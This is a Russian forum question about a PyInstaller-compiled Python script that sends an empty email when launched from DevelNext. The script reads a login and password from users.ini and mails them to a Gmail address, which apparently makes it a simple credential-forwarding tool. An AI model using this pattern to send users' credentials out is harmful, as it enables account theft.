- 15
- 3
У меня есть ini файл
я получаю его значения и отправляю на почту
Потом я компилирую его с помощью pyinstaller и если я его запущу сам то он работает успешно, но если я запущу его через develnext(функция open) то он возвращает на почту пустое значение
Виноват ли в этом python, или же это develnext?
users.ini:
[user]
login = NedoHackers
password = 123123
python:
try:
from configparser import ConfigParser
except ImportError:
from ConfigParser import ConfigParser # ver. < 3.0
import smtplib
import time
import os
# instantiate
config = ConfigParser()
#smtp object
smtpObj = smtplib.SMTP('smtp.gmail.com', 587)
# parse existing file
config.read('users.ini')
# read values from a section
confdict = {section: dict(config.items(section)) for section in config.sections()}
#start
smtpObj.starttls()
#login
smtpObj.login('*********@gmail.com','*******')
smtpObj.sendmail('******@gmail.com','***********@gmail.com', "\nA new user!" + "\n" + str(confdict))
#quit
smtpObj.quit()
Сообщение:
A new user!
{}
Виноват ли в этом python, или же это develnext?